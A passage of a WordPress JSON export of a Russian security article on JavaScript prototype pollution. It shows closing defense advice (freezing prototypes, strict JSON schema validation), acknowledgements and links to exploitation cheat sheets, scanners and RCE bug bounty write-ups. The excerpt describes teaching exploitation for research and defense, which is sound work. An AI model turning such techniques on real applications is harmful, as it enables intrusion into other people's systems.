\u043f\u0440\u0438\u0434\u0435\u0442\u0441\u044f \u0437\u0430\u043c\u043e\u0440\u0430\u0436\u0438\u0432\u0430\u0442\u044c <code>Array.prototype<\/code> \u0438 \u0434\u0440\u0443\u0433\u0438\u0435 \u043e\u0431\u044a\u0435\u043a\u0442\u044b.<\/li>\n<\/ul>\n<p>  <\/p>\n<h3 id=\"json-shema\">JSON \u0441\u0445\u0435\u043c\u0430<\/h3>\n<p>  <\/p>\n<p>\u041c\u043e\u0436\u043d\u043e \u0432\u0430\u043b\u0438\u0434\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0432\u0445\u043e\u0434\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435 \u043d\u0430 \u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0438\u0435 \u0437\u0430\u0440\u0430\u043d\u0435\u0435 \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u043d\u043e\u0439 <a href=\"https:\/\/json-schema.org\">JSON \u0441\u0445\u0435\u043c\u0435<\/a> \u0438 \u043e\u0442\u0431\u0440\u0430\u0441\u044b\u0432\u0430\u0442\u044c \u0432\u0441\u0435 \u043e\u0441\u0442\u0430\u043b\u044c\u043d\u044b\u0435 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u044b. \u041d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u044d\u0442\u043e \u043c\u043e\u0436\u043d\u043e \u0441\u0434\u0435\u043b\u0430\u0442\u044c \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0438 <a href=\"https:\/\/github.com\/ajv-validator\/ajv\">avj<\/a> \u0441 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u043e\u043c <code>additionalProperties = false<\/code>.<\/p>\n<p>  <\/p>\n<h1 id=\"itogi\">\u0418\u0442\u043e\u0433\u0438<\/h1>\n<p>  <\/p>\n<p>JavaScript prototype pollution \u043a\u0440\u0430\u0439\u043d\u0435 \u043e\u043f\u0430\u0441\u043d\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c, \u0435\u0435 \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e \u0431\u043e\u043b\u044c\u0448\u0435 \u0438\u0437\u0443\u0447\u0430\u0442\u044c \u043a\u0430\u043a \u0441 \u0442\u043e\u0447\u043a\u0438 \u0437\u0440\u0435\u043d\u0438\u044f \u043f\u043e\u0438\u0441\u043a\u0430 \u043d\u043e\u0432\u044b\u0445 \u0432\u0435\u043a\u0442\u043e\u0440\u043e\u0432, \u0442\u0430\u043a \u0438 \u0441 \u0442\u043e\u0447\u043a\u0438 \u0437\u0440\u0435\u043d\u0438\u044f \u043f\u043e\u0438\u0441\u043a\u0430 \u043d\u043e\u0432\u044b\u0445 \u0433\u0430\u0434\u0436\u0435\u0442\u043e\u0432 (\u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438). \u041d\u0430 \u043a\u043b\u0438\u0435\u043d\u0442\u0435 \u0441\u043e\u0432\u0441\u0435\u043c \u043d\u0435 \u0440\u0430\u0437\u0432\u0438\u0442 \u0432\u0435\u043a\u0442\u043e\u0440, \u043a\u043e\u0433\u0434\u0430 \u043f\u0435\u0439\u043b\u043e\u0434 \u0441\u043e\u0445\u0440\u0430\u043d\u0435\u043d \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u0435, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u0437\u0434\u0435\u0441\u044c \u0435\u0441\u0442\u044c \u043f\u0440\u043e\u0441\u0442\u043e\u0440 \u0434\u043b\u044f \u0434\u0430\u043b\u044c\u043d\u0435\u0439\u0448\u0435\u0433\u043e \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u044f.<\/p>\n<p>  <\/p>\n<p>\u041a\u0440\u043e\u043c\u0435 \u0442\u043e\u0433\u043e, \u0443 JavaScript \u0435\u0441\u0442\u044c \u043c\u043d\u043e\u0433\u043e \u0434\u0440\u0443\u0433\u0438\u0445 \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u044b\u0445 \u043e\u0441\u043e\u0431\u0435\u043d\u043d\u043e\u0441\u0442\u0435\u0439, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043c\u043e\u0436\u043d\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0434\u043b\u044f \u043d\u043e\u0432\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439, \u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440 <a href=\"https:\/\/youtu.be\/oGeEoaplMWA\">DEF CON Safe Mode \u2014 Feng Xiao \u2014 Discovering Hidden Properties to Attack Node js Ecosystem<\/a>. \u041d\u0430\u0432\u0435\u0440\u043d\u044f\u043a\u0430 \u0435\u0441\u0442\u044c \u0438 \u0434\u0440\u0443\u0433\u0438\u0435 \u0442\u043e\u043d\u043a\u043e\u0441\u0442\u0438 JavaScript, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043c\u043e\u0433\u0443\u0442 \u043f\u0440\u0438\u0432\u043e\u0434\u0438\u0442\u044c \u043a \u043d\u0430\u0441\u0442\u043e\u043b\u044c\u043a\u043e \u0436\u0435 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u044b\u043c \u0438\u043b\u0438 \u0431\u043e\u043b\u0435\u0435 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u044b\u043c \u043f\u043e\u0441\u043b\u0435\u0434\u0441\u0442\u0432\u0438\u044f\u043c \u0434\u043b\u044f \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0439.<\/p>\n<p>  <\/p>\n<h1 id=\"blagodarnosti\">\u0411\u043b\u0430\u0433\u043e\u0434\u0430\u0440\u043d\u043e\u0441\u0442\u0438<\/h1>\n<p>  <\/p>\n<p>\u0412 \u043f\u0435\u0440\u0432\u0443\u044e \u043e\u0447\u0435\u0440\u0435\u0434\u044c \u0445\u043e\u0447\u0435\u0442\u0441\u044f \u043f\u043e\u0431\u043b\u0430\u0433\u043e\u0434\u0430\u0440\u0438\u0442\u044c <a href=\"https:\/\/twitter.com\/_holyvier_\">Olivier<\/a>, <a href=\"https:\/\/twitter.com\/SecurityMB\">Micha\u0142 Bentkowski<\/a>, <a href=\"https:\/\/twitter.com\/Black2Fan\">Sergey Bobrov<\/a>, <a href=\"https:\/\/twitter.com\/S1r1u5_\">s1r1us<\/a>, <a href=\"https:\/\/twitter.com\/po6ix\">po6ix<\/a>, <a href=\"https:\/\/twitter.com\/wcbowling\">William Bowling<\/a> \u0437\u0430 \u0441\u0442\u0430\u0442\u044c\u0438, \u0434\u043e\u043a\u043b\u0430\u0434\u044b \u0438 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u044b \u043f\u043e \u0442\u0435\u043c\u0435 prototype pollution, \u043a\u043e\u0442\u043e\u0440\u044b\u043c\u0438 \u043e\u043d\u0438 \u043f\u043e\u0434\u0435\u043b\u0438\u043b\u0438\u0441\u044c \u0441\u043e \u0432\u0441\u0435\u043c\u0438. \u0411\u0435\u0437 \u043d\u0438\u0445 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u0435 \u0435\u0434\u0432\u0430 \u0431\u044b \u043d\u0430\u0447\u0430\u043b\u043e\u0441\u044c \ud83d\ude42<\/p>\n<p>  <\/p>\n<p><a href=\"https:\/\/twitter.com\/black2fan\">\u0421\u0435\u0440\u0433\u0435\u044e \u0411\u043e\u0431\u0440\u043e\u0432\u0443<\/a> \u0438 <a href=\"https:\/\/twitter.com\/0ang3el\">\u041c\u0438\u0445\u0430\u0438\u043b\u0443 \u0415\u0433\u043e\u0440\u043e\u0432\u0443<\/a> \u0437\u0430 \u043a\u043e\u043b\u043b\u0430\u0431\u043e\u0440\u0430\u0446\u0438\u044e \u0432 \u043f\u043e\u0438\u0441\u043a\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439.<\/p>\n<p>  <\/p>\n<p>\u0417\u0430 \u0432\u044b\u0447\u0438\u0442\u043a\u0443, \u043e\u0431\u0440\u0430\u0442\u043d\u0443\u044e \u0441\u0432\u044f\u0437\u044c \u0438 \u0434\u0440\u0443\u0433\u0443\u044e \u043f\u043e\u043c\u043e\u0449\u044c \u043f\u043e \u0441\u0442\u0430\u0442\u044c\u0435 \u0441\u043f\u0430\u0441\u0438\u0431\u043e \u0410\u043d\u0430\u0442\u043e\u043b\u0438\u044e \u041a\u0430\u0442\u044e\u0448\u0438\u043d\u0443, <a href=\"https:\/\/habr.com\/ru\/users\/AlexanderBarabanov\/\">\u0410\u043b\u0435\u043a\u0441\u0430\u043d\u0434\u0440\u0443 \u0411\u0430\u0440\u0430\u0431\u0430\u043d\u043e\u0432\u0443<\/a>, <a href=\"https:\/\/habr.com\/ru\/users\/makrushin\/\">\u0414\u0435\u043d\u0438\u0441\u0443 \u041c\u0430\u043a\u0440\u0443\u0448\u0438\u043d\u0443<\/a> \u0438 <a href=\"https:\/\/habr.com\/ru\/users\/Zherya\/\">\u0414\u043c\u0438\u0442\u0440\u0438\u044e \u0416\u0435\u0440\u0435\u0433\u0435\u043b\u0435<\/a>.<\/p>\n<p>  <\/p>\n<h1 id=\"ssylki\">\u0421\u0441\u044b\u043b\u043a\u0438<\/h1>\n<p>  <\/p>\n<ul>\n<li><a href=\"https:\/\/github.com\/BlackFan\/client-side-prototype-pollution\">BlackFan\/client-side-prototype-pollution<\/a> \/ <a href=\"https:\/\/portswigger.net\/web-security\/cross-site-scripting\/cheat-sheet#prototype-pollution\">Cross-site scripting (XSS) cheat sheet<\/a><\/li>\n<li><a href=\"https:\/\/research.securitum.com\/prototype-pollution-and-bypassing-client-side-html-sanitizers\/\">Prototype pollution \u2013 and bypassing client-side HTML sanitizers<\/a><\/li>\n<li><a href=\"https:\/\/github.com\/msrkp\/PPScan\">PPScan<\/a><\/li>\n<li><a href=\"https:\/\/blog.p6.is\/AST-Injection\/\">AST Injection, Prototype Pollution to RCE<\/a><\/li>\n<li><a href=\"https:\/\/blog.p6.is\/Real-World-JS-1\/\">Real-world JS \u2014 1<\/a><\/li>\n<li><a href=\"https:\/\/github.com\/HoLyVieR\/prototype-pollution-nsec18\/blob\/master\/paper\/JavaScript_prototype_pollution_attack_in_NodeJS.pdf\">Prototype pollution attack in NodeJS application<\/a><\/li>\n<\/ul>\n<p>  <\/p>\n<p>\u041f\u0440\u0438\u043c\u0435\u0440\u044b:<\/p>\n<p>  <\/p>\n<ul>\n<li><a href=\"https:\/\/hackerone.com\/reports\/986386\">Reflected XSS on www.hackerone.com via Wistia embed code<\/a><\/li>\n<li><a href=\"https:\/\/bugcrowd.com\/disclosures\/57b28008-4653-4dec-88c3-4d38e40023ff\/toolbox-teslamotors-com-html-injection-via-prototype-pollution-potential-xss\">[toolbox.teslamotors.com] HTML Injection via Prototype Pollution \/ Potential XSS<\/a><\/li>\n<li><a href=\"https:\/\/mksben.l0.cm\/2020\/10\/discord-desktop-rce.html\">Discord Desktop app RCE<\/a><\/li>\n<\/ul>\n<p>  <\/p>\n<p>\u0414\u0440\u0443\u0433\u043e\u0435:<\/p>\n<p>  <\/p>\n<ul>\n<li><a href=\"https:\/\/youtu.be\/oGeEoaplMWA\">DEF CON Safe Mode \u2014 Feng Xiao \u2014 Discovering Hidden Properties to Attack Node js Ecosystem<\/a><\/li>\n<\/ul>\n<\/div>\n<p> \u0441\u0441\u044b\u043b\u043a\u0430 \u043d\u0430 \u043e\u0440\u0438\u0433\u0438\u043d\u0430\u043b \u0441\u0442\u0430\u0442\u044c\u0438 <a href=\"https:\/\/habr.com\/ru\/company\/huawei\/blog\/547178\/\"> https:\/\/habr.com\/ru\/company\/huawei\/blog\/547178\/<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"\n<div class=\"post__text post__text-html post__text_v1\" id=\"post-content-body\">\n<p>\u0415\u0441\u043b\u0438 \u0432\u044b \u0441\u043b\u0435\u0434\u0438\u0442\u0435 \u0437\u0430 \u043e\u0442\u0447\u0435\u0442\u0430\u043c\u0438 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0443\u0447\u0430\u0441\u0442\u0432\u0443\u044e\u0442 \u0432 bug bounty \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0430\u0445, \u0442\u043e \u043d\u0430\u0432\u0435\u0440\u043d\u044f\u043a\u0430 \u0437\u043d\u0430\u0435\u0442\u0435 \u043f\u0440\u043e \u043a\u0430\u0442\u0435\u0433\u043e\u0440\u0438\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 JavaScript prototype pollution. \u0410 \u0435\u0441\u043b\u0438 \u043d\u0435 \u0441\u043b\u0435\u0434\u0438\u0442\u0435 \u0438 \u0432\u0441\u0442\u0440\u0435\u0447\u0430\u0435\u0442\u0435 \u044d\u0442\u043e \u0441\u043b\u043e\u0432\u043e\u0441\u043e\u0447\u0435\u0442\u0430\u043d\u0438\u0435 \u0432\u043f\u0435\u0440\u0432\u044b\u0435, \u0442\u043e \u043f\u0440\u0435\u0434\u043b\u0430\u0433\u0430\u044e \u0432\u0430\u043c \u0437\u0430\u043a\u0440\u044b\u0442\u044c \u044d\u0442\u043e\u0442 \u043f\u0440\u043e\u0431\u0435\u043b, \u0432\u0435\u0434\u044c \u044d\u0442\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043c\u043e\u0436\u0435\u0442 \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a \u043f\u043e\u043b\u043d\u043e\u0439 \u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0430\u0446\u0438\u0438 \u0441\u0435\u0440\u0432\u0435\u0440\u0430 \u0438 \u043a\u043b\u0438\u0435\u043d\u0442\u0430. \u041d\u0430\u0432\u0435\u0440\u043d\u044f\u043a\u0430 \u0445\u043e\u0442\u044f \u0431\u044b \u043e\u0434\u0438\u043d \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432 \u0432\u0430\u0448\u0435\u0439 (\u0438\u043b\u0438 \u043d\u0435 \u0432\u0430\u0448\u0435\u0439) \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438 \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u043d\u0430 JavaScript: \u043a\u043b\u0438\u0435\u043d\u0442\u0441\u043a\u0430\u044f \u0447\u0430\u0441\u0442\u044c \u0432\u0435\u0431-\u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f, \u0434\u0435\u0441\u043a\u0442\u043e\u043f (<a href=\"https:\/\/www.electronjs.org\">Electron<\/a>), \u0441\u0435\u0440\u0432\u0435\u0440 (<a href=\"https:\/\/nodejs.org\/en\/\">NodeJS<\/a>) \u0438\u043b\u0438 \u043c\u043e\u0431\u0438\u043b\u044c\u043d\u043e\u0435 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0435.<\/p>\n<p>  <\/p>\n<p>\u042d\u0442\u0430 \u0441\u0442\u0430\u0442\u044c\u044f \u043f\u043e\u043c\u043e\u0436\u0435\u0442 \u0432\u0430\u043c \u043f\u043e\u0433\u0440\u0443\u0437\u0438\u0442\u044c\u0441\u044f \u0432 \u0442\u0435\u043c\u0443 prototype pollution. \u0412 \u0440\u0430\u0437\u0434\u0435\u043b\u0430\u0445 <strong>\u041e\u0441\u043e\u0431\u0435\u043d\u043d\u043e\u0441\u0442\u0438 JavaScript<\/strong> \u0438 <strong>\u0427\u0442\u043e \u0442\u0430\u043a\u043e\u0435 prototype pollution?<\/strong> \u0432\u044b \u0443\u0437\u043d\u0430\u0435\u0442\u0435 \u043a\u0430\u043a \u0440\u0430\u0431\u043e\u0442\u0430\u044e\u0442 \u043e\u0431\u044a\u0435\u043a\u0442\u044b \u0438 \u043f\u0440\u043e\u0442\u043e\u0442\u0438\u043f\u044b JavaScript \u0438 \u043a\u0430\u043a \u043e\u0441\u043e\u0431\u0435\u043d\u043d\u043e\u0441\u0442\u0438 \u0438\u0445 \u0444\u0443\u043d\u043a\u0446\u0438\u043e\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u043c\u043e\u0433\u0443\u0442 \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044f\u043c. \u0412 \u0440\u0430\u0437\u0434\u0435\u043b\u0430\u0445 <strong>Prototype pollution \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u0435<\/strong> \u0438 <strong>Prototype pollution \u043d\u0430 \u043a\u043b\u0438\u0435\u043d\u0442\u0435<\/strong> \u0432\u044b \u043d\u0430\u0443\u0447\u0438\u0442\u0435\u0441\u044c \u0438\u0441\u043a\u0430\u0442\u044c \u0438 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u044d\u0442\u0443 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043d\u0430 \u043a\u0435\u0439\u0441\u0430\u0445 \u0438\u0437 \u0440\u0435\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u043c\u0438\u0440\u0430. \u041d\u0430\u043a\u043e\u043d\u0435\u0446 \u0432\u044b \u0438\u0437\u0443\u0447\u0438\u0442\u0435 \u0441\u043f\u043e\u0441\u043e\u0431\u044b \u0437\u0430\u0449\u0438\u0442\u044b \u0438 \u043f\u043e\u0447\u0435\u043c\u0443 \u0441\u0430\u043c\u044b\u0439 \u0440\u0430\u0441\u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u043d\u044b\u0439 \u0441\u043f\u043e\u0441\u043e\u0431 \u0437\u0430\u0449\u0438\u0442\u044b \u043c\u043e\u0436\u043d\u043e \u043b\u0435\u0433\u043a\u043e \u043e\u0431\u043e\u0439\u0442\u0438.<\/p>\n<p>  <\/p>\n<p>\u041f\u0440\u0435\u0436\u0434\u0435 \u0447\u0435\u043c \u043f\u0435\u0440\u0435\u0439\u0442\u0438 \u043a \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u043c \u0440\u0430\u0437\u0434\u0435\u043b\u0430\u043c, \u043f\u0440\u0435\u0434\u043b\u0430\u0433\u0430\u044e \u0432\u0430\u043c \u043e\u0442\u043a\u0440\u044b\u0442\u044c \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u044b \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0430 \u0438 \u043f\u043e \u0445\u043e\u0434\u0443 \u0441\u0442\u0430\u0442\u044c\u0438 \u043f\u043e\u043f\u0440\u043e\u0431\u043e\u0432\u0430\u0442\u044c \u043f\u0440\u0438\u0432\u0435\u0434\u0435\u043d\u043d\u044b\u0435 \u043f\u0440\u0438\u043c\u0435\u0440\u044b \u0441\u0432\u043e\u0438\u043c\u0438 \u0440\u0443\u043a\u0430\u043c\u0438, \u0441 \u0442\u0435\u043c \u0447\u0442\u043e\u0431\u044b \u0432 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0435 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u043d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043f\u0440\u0430\u043a\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u043e\u043f\u044b\u0442 \u0438 \u0433\u043b\u0443\u0431\u0436\u0435 \u043f\u043e\u043d\u044f\u0442\u044c \u043c\u0430\u0442\u0435\u0440\u0438\u0430\u043b.<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[],"tags":[],"class_list":["post-319693","post","type-post","status-publish","format-standard","hentry"],"_links":{"self":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/posts\/319693","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=319693"}],"version-history":[{"count":0,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/posts\/319693\/revisions"}],"wp:attachment":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=319693"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=319693"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=319693"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}